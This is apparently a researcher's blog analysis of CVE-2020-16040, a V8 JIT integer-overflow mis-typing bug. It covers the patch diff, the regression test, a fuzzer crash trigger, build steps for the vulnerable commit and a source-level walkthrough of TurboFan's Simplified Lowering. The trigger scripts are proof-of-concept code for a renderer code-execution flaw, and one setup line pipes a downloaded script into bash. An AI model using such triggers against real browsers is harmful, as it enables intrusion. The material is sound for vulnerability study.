((((λf.(λx.(fx)))(λy.y))(λz.z)))

<< home >>

0x02a: CVE-2020-16040 ANALYSIS & EXPLOITATION

[ PREFACE ]

Chrome's V8 JIT compiler's Simplified Lowering VisitSpeculativeIntegerAdditiveOp was setting Signed32 as restriction type, even when relying on a Word32 truncation, skipping an overflow check. To summarise, the problem was due to a mis-typing of nodes despite the value wrapping/overflowing. Which allowed for a typer hardening bypass to achieve out-of-bounds r/w primitives, leading to arbitrary remote code execution within the renderer's process. Affects Chrome versions <=87.0.4280.88.

First and foremost, I would like to express my appreciation to the researchers who have laid the groundwork and generously shared their knowledge, which has greatly assisted me in tackling my first Chrome V8 bug. You know who you are.

I would especially like to acknowledge Jeremy "__x86" Fetiveau, Faith, willsroot, jmpeax and the guys at Singular Security Lab for their contributions in the browser research space.

I tried to provide as much detail as possible where a lot of the content could probably have been stripped out, though I feel like this verbosity may be of use to someone out there. If you identify any errors, have questions or feedback please do let me know, as this is highly encouraged. With that being said, let's dive into it.

You can view my final exploit located in my GitHub repository here.

[ A FIRST GLANCE AT THE BUG ]

Looking at the published CVE ID associated with this particular vulnerability (CVE-2020-16040), a chrome bug tracker reference is provided that contains additional information in pertinence to the vulnerability specifics. We can attain further details in the following commit including the patch diff, patch commit and the disclosed regression test (regress-1150649.js), which will be looked at later.

[compiler] Fix a bug in SimplifiedLowering

SL's VisitSpeculativeIntegerAdditiveOp was setting Signed32 as
restriction type even when relying on a Word32 truncation in
order to skip the overflow check. This is not sound.

The vulnerable version of V8 in question is associated with commit 2781d585038b97ed375f2ec06651dc9e5e04f916.

The patch diff can be seen below:

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index a1f10f98fe5..ef56d56e447 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1409,7 +1409,6 @@ class RepresentationSelector {
                 IsSomePositiveOrderedNumber(input1_type)
             ? CheckForMinusZeroMode::kDontCheckForMinusZero
             : CheckForMinusZeroMode::kCheckForMinusZero;
-
     NodeProperties::ChangeOp(node, simplified()->CheckedInt32Mul(mz_mode));
   }
 
@@ -1453,6 +1452,13 @@ class RepresentationSelector {
 
     Type left_feedback_type = TypeOf(node->InputAt(0));
     Type right_feedback_type = TypeOf(node->InputAt(1));
+
+    // Using Signed32 as restriction type amounts to promising there won't be
+    // signed overflow. This is incompatible with relying on a Word32
+    // truncation in order to skip the overflow check.
+    Type const restriction =
+        truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();
+
     // Handle the case when no int32 checks on inputs are necessary (but
     // an overflow check is needed on the output). Note that we do not
     // have to do any check if at most one side can be minus zero. For
@@ -1466,7 +1472,7 @@ class RepresentationSelector {
         right_upper.Is(Type::Signed32OrMinusZero()) &&
         (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
       VisitBinop<T>(node, UseInfo::TruncatingWord32(),
-                    MachineRepresentation::kWord32, Type::Signed32());
+                    MachineRepresentation::kWord32, restriction);
     } else {
       // If the output's truncation is identify-zeros, we can pass it
       // along. Moreover, if the operation is addition and we know the
@@ -1486,8 +1492,9 @@ class RepresentationSelector {
       UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
                                                          kIdentifyZeros);
       VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
-                    Type::Signed32());
+                    restriction);
     }
+
     if (lower<T>()) {
       if (truncation.IsUsedAsWord32() ||
           !CanOverflowSigned32(node->op(), left_feedback_type,
diff --git a/test/mjsunit/compiler/regress-1150649.js b/test/mjsunit/compiler/regress-1150649.js
new file mode 100644
index 00000000000..a193481a3a2
--- /dev/null
+++ b/test/mjsunit/compiler/regress-1150649.js
@@ -0,0 +1,24 @@
+// Copyright 2020 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function foo(a) {
+  var y = 0x7fffffff;  // 2^31 - 1
+
+  // Widen the static type of y (this condition never holds).
+  if (a == NaN) y = NaN;
+
+  // The next condition holds only in the warmup run. It leads to Smi
+  // (SignedSmall) feedback being collected for the addition below.
+  if (a) y = -1;
+
+  const z = (y + 1)|0;
+  return z < 0;
+}
+
+%PrepareFunctionForOptimization(foo);
+assertFalse(foo(true));
+%OptimizeFunctionOnNextCall(foo);
+assertTrue(foo(false));

[ BUILDING V8 & TRIGGERING THE BUG ]

The following environment was built on Ubuntu 64-bit version 20.04.5.

pull depot_tools:

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

set PATH:
export PATH=$(pwd)/depot_tools:$PATH

fetch V8:
fetch v8
cd v8
./build/install-build-deps.sh                 #<-- linux

Revert to vulnerable commit of V8:
git checkout 2781d585038b97ed375f2ec06651dc9e5e04f916
gclient sync

NOTE the patch file is seen to be associated with commit ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92 :
[compiler] Fix a bug in SimplifiedLowering

SL's VisitSpeculativeIntegerAdditiveOp was setting Signed32 as
restriction type even when relying on a Word32 truncation in
order to skip the overflow check. This is not sound.

You can wget and then git apply ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92.diff the patch file if desired. This will patch the vulnerable function and so it is not relevant here unless wanting to compare output between a patched vs unpatched branch for debugging purposes.

Proceed to build/compile the debug and release versions of V8 which is associated to the vulnerable commit. I used the 'all-in-one script' gm.py as opposed to the 'convenience' script v8gen.py, though either would suffice:

./tools/dev/gm.py x64.release
ninja -C ./out.gn/x64.release
./tools/dev/gm.py x64.debug
ninja -C ./out.gn/x64.debug

For ease of debugging, I also used GDB GEF:
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

I also integrated V8's tool/support script to get access to additional commands in gdb such as telescope and job:
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

We can test the build with the following trigger sample.js as provided in the chromium bug tracker (referenced at the beginning of this report). It should be noted that this sample was generated by the researcher while fuzzing V8:
./d8 sample.js --allow-natives-syntax

sample.js:
function jit_func(a, b) {
  var v921312 = 0xfffffffe;
  let v56971 = 0;  
  var v4951241 = [null, (() => {}), String, "string", v56971];
  let v129341 = [];

  v921312 = NaN;

  if (a != NaN) {
      v921312 = (0xfffffffe)/2;
  }

  if (typeof(b) == "string") {
      v921312 = Math.sign(v921312);
  }

  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);

  if (b) {
    v56971 = 0;
  }

  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();

  v4951241.a = {'a': v129341};  

  for (let i = 0; i < 7; i++)
  {
    v129341[5] = 2855;
  }

  return v4951241;
}

%PrepareFunctionForOptimization(jit_func);
jit_func(undefined, "KCGKEMDHOKLAAALLE").toString();
%OptimizeFunctionOnNextCall(jit_func);
jit_func(NaN, undefined).toString();

This produced the following expected segmentation fault:
Received signal 11 SEGV_ACCERR 135c0818d000

==== C stack trace ===============================

 [0x55f41c8ae9d7]
 [0x7f2259c88420]
 [0x7f2259a999d3]
 [0x55f41bf5ceb9]
 [0x55f41bf5ce25]
 [0x55f41c0a07d9]
 [0x55f41be3bdef]
 [0x55f41c79ba58]
[end of stack trace]
Segmentation fault (core dumped)

While the above is interesting, the provided regression was simpler to work off, and so this is what lead into the next segment.

[ UNDERSTANDING THE REGRESSION ]

As stated earlier, with CVE-2020-16040 having been patched in later versions, a corresponding regression, regress-1150649.js was also publicly provided:

// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax

function foo(a) {
	var y = 0x7fffffff; // 2^31 - 1 (INT_MAX)
	
	// Widen the static type of y (this condition never holds).
	if (a == NaN) y = NaN;
	
	// The next condition holds only in the warmup run. It leads to Smi
	// (SignedSmall) feedback being collected for the addition below.
	if (a) y = -1;

	const z = (y + 1)|0;
	return z < 0;
}

%PrepareFunctionForOptimization(foo);
assertFalse(foo(true));
%OptimizeFunctionOnNextCall(foo);
assertTrue(foo(false));

The above regress-1150649.js is developed for regression testing that provides a means to test and verify that the available patch has been implemented properly. If the regress test fails, it indicates that the patch was not deployed properly. While limited, this regression also illustrates how the vulnerability can be triggered. We can modify and use this later on to further understand the vulnerability and apply our understanding to the proof-of-concept (PoC) phase.

NOTE I slightly modified the above regress and incorporated console.log() values to represent assertTrue and assertFalse, and called these twice; prior to optimisation, and after optimisation:

// Flags: --allow-natives-syntax

function foo(a) {
        //...
}

console.log("[+] Before Optimisation (z<0?):");
console.log(foo(true)); //assertFalse(foo(true));
console.log(foo(false)); //assertTrue(foo(false));

console.log("[+] After Optimisation (z<0?):");
%PrepareFunctionForOptimization(foo); //first call to foo (warmup run)
console.log(foo(true)); //assertFalse(foo(true));
%OptimizeFunctionOnNextCall(foo); //second call to foo - optimises here
console.log(foo(false)); //assertTrue(foo(false));

Following the code of the regression, we can conclude in simple terms that:

Variable y is set to 0x7fffffff, a hexadecimal representation of 2147483647. This represents the maximum possible value for a signed 32-bit binary integer, known as INT_MAX.

The if (a == NaN) y = NaN; condition is an equality operator condition. According to the regress, it is stated that this widens the static type of y, and in doing so this condition never holds. This will be investigated further below.

The next condition if (a) y = -1; is said to hold only in the warmup run and leads to SMI, which is type feedback being collected for the operation highlighted below:
const z = (y + 1)|0;
return z < 0;

The above z takes the SMI feedback, y with an addition of +1 before undergoing a bitwise OR operation against the value of 0. The boolean value of z is then returned after being compared to the < 0 logic.

Looking at it more technically:

y is set to 0x7fffffff as stated earlier above.

The first call to foo via intrinsic function %PrepareFunctionForOptimization(foo); returns false as it is expected to (before optimisation). The reason being is that the argument a will return true resulting in y being set from 0x7fffffff to -1. This will cause z to be set to (-1+1)|0 which results in 0 being bitwise OR'd with 0 resulting in the result of 0 before being parsed to the return z < 0 logic, being 0 < 0 which results in the boolean result of false, as was expected.

The second call to foo via intrinsic function %OptimizeFunctionOnNextCall(foo); the argument a will return false, causing z to be set to y+1 which would equate to 0x7fffffff+1 equaling 0x80000000 which is then bitwise OR'd with 0 before being parsed to the return z < 0; logic. However, it is important to note that in two's complement notation, integer representations always goes from the highest expressible number to the lowest expressible number. Meaning INT_MAX +1 would result in wrapping around to value of INT_MIN, being -2147483648 (signed 32-bit integer). This is what happens with a signed integer overflow. A 32-bit signed integer has a minimum value of -2147483648, and a maximum value of 2147483648 inclusive. Since 0x7fffffff is the hexadecimal representation of INT_MAX, the addition of +1 results in the value returning as the INT_MIN value of the 32-bit signed integer. Therefore, 0x80000000 bitwise OR'd with 0 equals -2147483648 (INT_MIN).

As a result, when z, being -2147483648 is parsed to the return z < 0 logic comparison, since the value is -2147483648, this should result in the boolean result true. Which it does prior to optimisation, but not after optimisation by the JIT compiler (TurboFan). We can therefore deduce that the bug causes the JIT compiler to incorrectly assume that an integer overflow has not occurred, when it actually has. You can see the following output when running the above modified regression PoC:

./d8 regression.js --allow-natives-syntax
   
   [+] Before Optimisation (z<0?):
   false
   true
   [+] After Optimisation (z<0?):
   false             <--- prepared for optimisation, but not actually optimised
   false             <--- optimised

In addition to the above, if we remove the return z < 0; line and replace this with return z; we get the following output:
[+] Before Optimization (z<0?):
0              #return z < 0; is false as seen during previous output (expected)
-2147483648    #return z < 0; is true as seen during previous output (expected)
[+] After Optimization (z<0?):
0              #return z < 0; is false as seen during previous output (expected)
-2147483648    #return z < 0; is false when it should return true (unexpected)

Based on the above point; we know that some JIT compiler specific process (in this case TurboFan) allows the vulnerability to be triggered during optimisation. This is where we need to start looking next to understand what exactly triggers the vulnerability during optimisation and therefore how the vulnerability can potentially be exploited.

Before moving on, it is also interesting to comment out the condition that widens the static type of y and re-running the regression.

function foo(a) {
    //...
        // Widen the static type of y (this condition never holds).
        //if (a == NaN) y = NaN;  
    //...
}

The output results in a significant change, with the expected output, of which is contrary to what was demonstrated above. The vulnerability in this case, was not triggered. Why? This is something we need to determine:
[+] Before Optimization (z<0?):
false
true
[+] After Optimization (z<0?):
false              <--- prepared for optimisation, but not actually optimised
true               <--- optimised

Research on this vulnerability was excessively broad and without any prior background on V8 or V8's internals, there was a tremendous amount of reading and preparation needed before being able to begin looking at the vulnerability in question. In regards to Faith's analysis, a good point was raised, in that; open ended questions can provide a goal to work towards, as opposed to, “analyse and understand the bug, which is not as achievable because of its broad nature". As a result, this same approach was taken, that devised the following set of questions of which naturally are similar in nature.

With the above analysis of the regression in consideration, some interesting questions are raised;

1. In regards to V8 internals, what exactly is the process associated with the %PrepareFunctionForOptimization(); and %OptimizeFunctionOnNextCall(); intrinsic functions?

2. Why does this static type of y need to be widened here? What is the purpose of the condition if (a == NaN) y = NaN; and how is this implemented?

3. During the warmup run, being the first call to foo; What is the purpose of making the type feedback of y SignedSmall? How is this then collected?

4. Why is z defined as (y+1)|0, what is the purpose of the bitwise OR operation with 0?

The first question can be answered, and is in pertinence to V8's intrinsic functions, particularly %PrepareFunctionForOptimization(); and %OptimizeFunctionOnNextCall();. After researching more about V8's internals, %PrepareFunctionForOptimization(foo); appears to make sure that the foo function can collect type feedback from the interpreter (Ignition) for speculative optimisation, meaning that the code generated will be made upon assumptions of the foo function based upon the type feedback received from the interpreter, and that its byte code is not flushed away by V8's garbage collector:

RUNTIME_FUNCTION(Runtime_PrepareFunctionForOptimization) {
//...

// If optimization is disabled for the function, return without making it
// pending optimize for test.
if (function->shared().optimization_disabled() &&
	function->shared().disabled_optimization_reason() ==
		BailoutReason::kNeverOptimize) {
	return CrashUnlessFuzzing(isolate);

//...

// Hold onto the bytecode array between marking and optimization to ensure
// it's not flushed.
if (v8_flags.testing_d8_test_runner) {
	PendingOptimizationTable::PreparedForOptimization(isolate, function, allow_heuristic_optimization);
}
return ReadOnlyRoots(isolate).undefined_value();
}

Where; %OptimizeFunctionOnNextCall(foo); appears to mark the function of foo for optimisation i.e. what normally happens with hot functions (functions that are called many times) before being consumed by TurboFan, where the code is optimised and compiled:
Object OptimizeFunctionOnNextCall(RuntimeArguments& args, Isolate* isolate) {
//...
TraceManualRecompile(*function, kCodeKind, concurrency_mode);
JSFunction::EnsureFeedbackVector(isolate, function, &is_compiled_scope);
function->MarkForOptimization(isolate, CodeKind::TURBOFAN, concurrency_mode);
return ReadOnlyRoots(isolate).undefined_value();
}

A curated list of the various intrinsic functions, and some of their definitions are referenced within V8's /src/runtime/runtime.h and /src/runtime/runtime-test.cc source files.

[ USING TURBOLIZER TO DEBUG TURBOFAN'S SEA-OF-NODES ]

"Nodes can represent arithmetic operations, load, stores, calls, constants and so on. There are three types of edges; control edges, value edges and effect edges."

This visual graph offered by V8's turbolizer assists in the debugging phase.

Setup Turbolizer:

cd /path/to/v8/tools/turbolizer
npm i
npm run-script build
python3 -m http.server 80

Can then point the browser to localhost:80 for the web-based interface (alternatively we could also use V8's public GitHub turbolizer interface.

Turbolizer works by importing .json files that can be generated by running V8 with --trace-turbo flag. For example, you can run JavaScript with V8 via ./out.gn/x64.release/d8 test.js --trace-turbo which will output a turbo-*-*.json file which can then be imported into Turbolizer's web interface for debugging.

After running the debugging version of V8 with various modified PoCs, it was noticed that the optimisation pipeline contains various phases and are executed in a relevant sequence accordingly. As a result, it was identified that the Escape Analysis phase was the predecessor phase to the Simplified Lowering phase. This is also confirmed within the src/compiler/pipeline.cc source:
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
  //...

  if (FLAG_turbo_escape) {
    Run<EscapeAnalysisPhase>();
    //...
  }
  // Perform simplified lowering. This has to run w/o the Typer decorator,
  // because we cannot compute meaningful types anyways, and the computed types
  // might even conflict with the representation/truncation logic.
  Run<SimplifiedLoweringPhase>(linkage);
  //...
}

Notes on the aforementioned phases and their stages:

Different stages have different optimisation rules, which mainly include the following:

1. BytecodeGraphBuilder: convert bytecode to graph.

2. InliningPhase: Inline function expansion.

3. TyperPhase: Determine the node type and scope.

4. TypedLoweringPhase: Converts JS Node to an intermediate Simplified Node or Common Node.

5. LoadEliminationPhase: Eliminate redundant load memory read operations.

6. EscapeAnalysisPhase: Mark whether the node escapes and modify it.

7. SimplifiedLoweringPhase: Downgrade a Simplified Node node to a more specific Machine Node.

>8. GenericLoweringPhase: Reduce the operator of JS Node to Runtime, Builtins, IC call level.

Similar to how the widening of the static type of y was included and then removed to monitor output differences in the modified regression previously above; we can debug this further by analysing V8's nodes associated with the Escape Analysis and the vulnerable Simplified Lowering phase to determine differences between the propagation/lowering of nodes.

Turbolizer Graph of Nodes in the Escape Analysis Phase with Widening Condition

It is evident above, that despite the widening condition being present or not within the regression ran against the patched version of V8, the output remains the same. The Uint32LessThan node is always an Int32LessThan node. However, the above two outputs in comparison to the previous turbolizer outputs of the unpatched version; only with the widening condition present we notice a difference, being that the control edge from the Word32Or node, is to that of the Int32LessThan node in the patched version, and not theUint32LessThan node when compared to the unpatched version (see further above).

Turbolizer Graph of Nodes in the Escape Analysis Phase without Widening Condition

NOTE the above strictly focuses solely on the differences in nodes within the Escape Analysis phase regarding the condition that widens the static type of y. The above highlights that there are no changes within the Escape Analysis phase when compared to redacting this condition, or it being present.

There are however, changes during the Simplified Lowering phase. This is illustrated below.

Turbolizer Graph of Nodes in the Simplified Lowering Phase with Widening Condition:

The following image shows the nodes associated with the Simplified Lowering phase, whereby, the if (a == NaN) y = NaN; condition is present:

Turbolizer Graph of Nodes in the Simplified Lowering Phase without Widening Condition:

Notably, the differences between the two turbolizer graphs highlight that with the widening condition, being if (a == NaN) y = NaN;when present, the NumberLessThan node from the Escape Analysis becomes a Uint32LessThan node within the Simplified Lowering phase. When redacting this widening condition, the same NumberLessThan node from the Escape Analysis phase becomes an Int32LessThan node within the Simplified Lowering phase. Since the sea-of-nodes analysed here are in relation to this widening condition, this node is applied to the final return z < 0 logic comparison. We can further deduce that TurboFan fails to identify this widening condition as problematic, and therefore fails to catch the integer overflow that occurs during the operation of (y+1)|0. The reason being is that, with the widening condition present, the Simplified Lowering phase within TurboFan attempts to compare the two numbers as unsigned 32-bit integers, as opposed to signed 32-bit integers.

To understand this further; an unsigned integer contains only positive numbers (inclusive of 0), whereas signed integers have both positive and negative numbers (inclusive of 0). With a 32-bit signed integer, the range is between a negative and positive number, more specifically INT_MIN being -2147483648and an INT_MAX of 2147483648 (as previously mentioned). However, on the inverse, with a 32-bit unsigned integer (non-negative number), the range is from UINT_MIN of 0 toUINT_MAX of 4294967295. In the context of the above, comparing two numbers as a 32-bit unsigned integer, if the returned value yields a negative number outside its range, this results in an overflow condition (as this number is unsigned, and should be >=0). However, if you compare two numbers as a 32-bit signed integer, the range is from INT_MIN being -2147483648and an INT_MAX of 2147483648, yielding a negative number here would not result in an overflow condition as a negative returned value is within range of the 32-bit signed integer boundary. The reason unsigned verse signed integers matter here is because the ranges between unsigned and signed integers vary (as stipulated above), and so in a situation like this, a check was needed to catch the overflow condition, however such a check does not appear to be included, hence TurboFan not catching the overflow condition.

Turbolizer Graph of Nodes of Patched Simplified Lowering Phase

The following turbolizer output corresponds to the patch V8 build, with both the widening condition being present, and also redacted:

With the widening condition:

Without the widening condition:

It is evident above, that despite the widening condition being present or not within the regression ran against the patched version of V8, the output remains the same. The Uint32LessThan node is always an Int32LessThan node. However, the above two outputs in comparison to the previous turbolizer outputs of the unpatched version; only with the widening condition present we notice a difference, being that the control edge from the Word32Or node, is to that of the Int32LessThan node in the patched version, and not theUint32LessThan node when compared to the unpatched version (see further above).

In summary, with the patch applied to V8, the Simplified Lowering Phase will correctly compare the two numbers as a 32-bit signed integer using theInt32LessThan node instead of the Uint32LessThan node. This is the correct way to do it since the operation of (y+1)|0 does yield a negative number, of which, is in range of a 32-bit signed integer.

This further supports our conclusion above, whereby, generating Uint32LessThan results in TurboFan assuming that return z < 0; is a comparison of two unsigned integers and does not acknowledge the possibility of an integer overflow condition.

Since the vulnerable function is associated with the Simplified Lowering phase, looking at the src/compiler/simplified-lowering.cc source, we can see the following sub-phases from line 693 to 698:
  void Run(SimplifiedLowering* lowering) {
    GenerateTraversal();
    RunPropagatePhase();
    RunRetypePhase();
    RunLowerPhase(lowering);
  }

[ THE SIMPLIFIED LOWERING PHASE & ITS SUBPHASES ]

Before diving into the analysis pertinent to the Simplified Lowering phase, it's beneficial to understand what is meant by feedback type, restriction type and static type, alongside the differences between them in relation to Chrome's V8. As a result, I have briefly broken down these terms while also elaborating on their concepts:

feedback type: Also known as "dynamic type”, the feedback type is a type that the V8 engine gathers during the runtime execution of JavaScript code. The engine uses this information to make better optimisations based on the observed types of variables and operations. The type feedback collected at runtime helps the engine to make informed decisions about how to optimise code, taking into account the actual types of variables and expressions that appear during execution.

restriction type: A restriction type is a type that is imposed as a constraint on a certain value or operation. It can be used to refine the type information for a value or an operation, narrowing down the possible types to a specific range. By doing this, the V8 engine can optimise the generated machine code by assuming that the value or operation will always be within the specified type range. Restriction types can be applied conditionally based on various contexts, such as truncation operations.

static type: A static type is a type that is determined during the compilation process, without considering any runtime information. The V8 engine uses static types to make initial assumptions about the types of variables and expressions in the JavaScript code. Static types are derived from the language's type system and are used by the compiler to perform type checks, catch errors early, and generate efficient machine code. However, the static type information may not always be accurate due to the dynamic nature of JavaScript, which is why the V8 engine also relies on runtime type feedback to refine its optimisations.

In summary, feedback types are collected during runtime to inform optimisations, restriction types are imposed as constraints on values or operations to refine type information, and static types are determined during compilation, providing an initial basis for type checking and code generation. These different types of type information work together to help the V8 engine optimise the execution of JavaScript code efficiently.

With that being said, let’s proceed:

Since the vulnerability of CVE-2020-16040 lies within the SpeculativeSafeIntegerAdd node. The following analysis of the Simplified Lowering phase will follow this node while running the regression.

Through the use of V8's --trace-representation flag, we can trace representation types.

Before entering the three sub-phases, GenerateTraversal(); is called:

// Generates a pre-order traversal of the nodes, starting with End.
void GenerateTraversal() {
ZoneStack<NodeState> stack(zone_);
stack.push({graph()->end(), 0});
GetInfo(graph()->end())->set_pushed();
	while (!stack.empty()) {
		NodeState& current = stack.top();
		Node* node = current.node;
		
		// If there is an unvisited input, push it and continue with that node.
		bool pushed_unvisited = false;
		while (current.input_index < node->InputCount()) {
		Node* input = node->InputAt(current.input_index);
		NodeInfo* input_info = GetInfo(input);
		current.input_index++;
			if (input_info->unvisited()) {
			input_info->set_pushed();
			stack.push({input, 0});
			pushed_unvisited = true;
			break;
			} else if (input_info->pushed()) {
			// Optimization for the Retype phase.
			// If we had already pushed (and not visited) an input, it means that
			// the current node will be visited in the Retype phase before one of
			// its inputs. If this happens, the current node might need to be
			// revisited.
			MarkAsPossibleRevisit(node, input);
		}
	}
		if (pushed_unvisited) continue;
		
		stack.pop();
		NodeInfo* info = GetInfo(node);
		info->set_visited();
		
		// Generate the traversal
		traversal_nodes_.push_back(node);
}

GenerateTraversal(); generates every node into traversal_nodes_ in a "pre-order" traversal starting from End onto a temporary stack as they're visited. If an input has already been pushed and not visited, then the current node will be revisited in the RunRetypePhase(); (before one of its inputs), according to the code above.

An example depicting the differences between in-order, pre-order and post-order traversals:

After nodes have been pushed into traversal_nodes_, the RunPropagatePhase(); will execute:

[ THE PROPAGATE PHASE: RunPropagatePhase(); ]

As seen from its definition within src/compiler/simplified-lowering.cc:

enum Phase {
  // 1.) PROPAGATE: Traverse the graph from the end, pushing usage information
  //     backwards from uses to definitions, around cycles in phis, according
  //     to local rules for each operator.
  //     During this phase, the usage information for a node determines the best
  //     possible lowering for each operator so far, and that in turn determines
  //     the output representation.
  //     Therefore, to be correct, this phase must iterate to a fixpoint before
  //     the next phase can begin.
PROPAGATE,
//...

In short, while the GenerateTraversal(); function generated traversal_nodes_ in a pre-order traversal starting from the End node; the RunPropagatePhase(); function will iterate traversal_nodes_ in a reverse post-order traversal with the End node as the root node, while propagating "truncations". These truncations are defined within /src/compiler/representation-change.h (line 155 to line 170):

// The {UseInfo} class is used to describe a use of an input of a node.
//
// This information is used in two different ways, based on the phase:
//
// 1. During propagation, the use info is used to inform the input node
// about what part of the input is used (we call this truncation) and what
// is the preferred representation. For conversions that will require
// checks, we also keep track of whether a minus zero check is needed.
//
// 2. During lowering, the use info is used to properly convert the input
// to the preferred representation. The preferred representation might be
// insufficient to do the conversion (e.g. word32->float64 conv), so we also
// need the signedness information to produce the correct value.
// Additionally, use info may contain {CheckParameters} which contains
// information for the deoptimizer such as a CallIC on which speculation
// should be disallowed if the check fails.

These truncation propagations in pertinence to the Propagate Phase can be visibly seen when debugging via tracing representation types, as shown below:

Output of --trace-representation on the Propagate Phase (focus on SpeculativeSafeIntegerAdd node):

--{Propagate phase}--
visit #48: End (trunc: no-value-use)
#...
visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))
  initial #45: truncate-to-word32
  initial #44: truncate-to-word32
 visit #45: SpeculativeNumberBitwiseOr (trunc: truncate-to-word32)
  initial #43: truncate-to-word32
  initial #44: truncate-to-word32
  initial #43: truncate-to-word32
  initial #36: no-value-use
 visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
  initial #39: no-truncation (but identify zeros)
  initial #42: no-truncation (but identify zeros)
  initial #22: no-value-use
  initial #36: no-value-use
 visit #42: NumberConstant (trunc: no-truncation (but identify zeros))
 visit #39: Phi (trunc: no-truncation (but identify zeros))
  initial #32: no-truncation (but identify zeros)
  initial #38: no-truncation (but identify zeros)
  initial #36: no-value-use
#...

The SpeculativeNumberBitwiseOrpropagates a Word32 truncation to it's first input, being the #43: SpeculativeSafeIntegerAdd node which propagates no-truncation to its first two inputs, being #39 Phi and #42 NumberConstant nodes. Word32 is an unsigned 32-bit integer type and we can speculate that this Word32 truncation eventually leads to this node being treated as an unsigned 32-bit integer, as opposed to a signed 32-bit integer which lowers the #55 NumberLessThanBoolean node from the Escape Analysis phase to a #55 Uint32LessThanBoolean during the Lowering phase (we will get to this later).

Looking at the source in relevance to the RunPropagatePhase(); function is as follows:

//...
// Backward propagation of truncations to a fixpoint.
void RunPropagatePhase() {
	TRACE("--{Propagate phase}--\n");
	ResetNodeInfoState();
	DCHECK(revisit_queue_.empty());

// Process nodes in reverse post order, with End as the root.
	for (auto it = traversal_nodes_.crbegin(); it != traversal_nodes_.crend();
		++it) {
	PropagateTruncation(*it);
	while (!revisit_queue_.empty()) {
		Node* node = revisit_queue_.front();
		revisit_queue_.pop();
		PropagateTruncation(node);
		}
	}
}
//...

At the end of this function, the PropagateTruncation(node) is called, which its source is illustrated below:

//...
// Visits the node and marks it as visited. Inside of VisitNode, we might
// change the truncation of one of our inputs (see EnqueueInput<PROPAGATE> for
// this). If we change the truncation of an already visited node, we will add
// it to the revisit queue.

void PropagateTruncation(Node* node) {
	NodeInfo* info = GetInfo(node);
	info->set_visited();
	TRACE(" visit #%d: %s (trunc: %s)\n", node->id(), node->op()->mnemonic(),
		info->truncation().description());
	VisitNode<PROPAGATE>(node, info->truncation(), nullptr);
}
//...

The PropagateTruncation(); function contains a callback to VisitNode. This VisitNode<PROPAGATE> then calls VisitSpeculativeIntegerAdditiveOp as seen below:

void VisitNode(Node* node, Truncation truncation, 
			   SimplifiedLowering* lowering) {
//...
tick_counter_->TickAndMaybeEnterSafepoint();
case IrOpcode::kSpeculativeSafeIntegerAdd:
case IrOpcode::kSpeculativeSafeIntegerSubtract:
	return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);

The source of theVisitSpeculativeIntegerAdditiveOp function (in reference to the SpeculativeSafeIntegerAdd node):

template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) {
	Type left_upper = GetUpperBound(node->InputAt(0));
	Type right_upper = GetUpperBound(node->InputAt(1));
	if (left_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) &&
		right_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero)) {
	//...
	return;
}
	//...
	// Try to use type feedback.
	NumberOperationHint hint = NumberOperationHintOf(node->op());
	DCHECK(hint == NumberOperationHint::kSignedSmall ||
	hint == NumberOperationHint::kSigned32);
	//...

The left_upper variable gets its input from InputAt(0), while the right_upper variable gets its input from InputAt(1). These left_upper and right_upper "Type" variables are the types of the first two input nodes, where these truncations are propagated to from the SpecualtiveSafeIntegerAdd node (remember how thetraversal_nodes_ vector is iterated). In this case, this is the #39 Phi and #42 NumberConstant nodes as shown below:

Looking at the if conditional clause specifically;

//..
	if (left_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) &&
		right_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero)) {
	//...
	return;

There is a reference to type_cache with an arrow operator which is used to access elements in structures and unions, in this case, being kAdditiveSafeIntegerOrMinusZero.

Looking at the /src/compiler/type-cache.h source, we can see the various types. In regards to kAdditiveSafeIntegerOrMinusZero:

//...
Type const kAdditiveSafeInteger =
	CreateRange(-4503599627370496.0, 4503599627370496.0);
Type const kSafeInteger = CreateRange(-kMaxSafeInteger, kMaxSafeInteger);
Type const kAdditiveSafeIntegerOrMinusZero =
	Type::Union(kAdditiveSafeInteger, Type::MinusZero(), zone());
Type const kSafeIntegerOrMinusZero =
	Type::Union(kSafeInteger, Type::MinusZero(), zone());
//...

As seen from the above code block, the kAdditiveSafeIntegerOrMinusZero type cache is a UnionType between the range of kAdditiveSafeInteger and Type::MinusZero(), where kAdditiveSafeInteger has a range of (-4503599627370496.0, 4503599627370496.0);

As a result, the first conditional clause; if (left_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) will return false as it does not include the NaN numeric data type, of which is a value that is either undefined or unrepresentable, particularly in floating-point arithmetic (real numbers). The second conditional clause; right_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) will return true, however, the logical AND operator (&&) will fail as it is intended to return true if both operands are true, and return false otherwise, in this case it returns false, breaking the if branch. This results in the regression PoC skipping the entire conditional if branch, alternating its execution flow during the Propagate Phase.

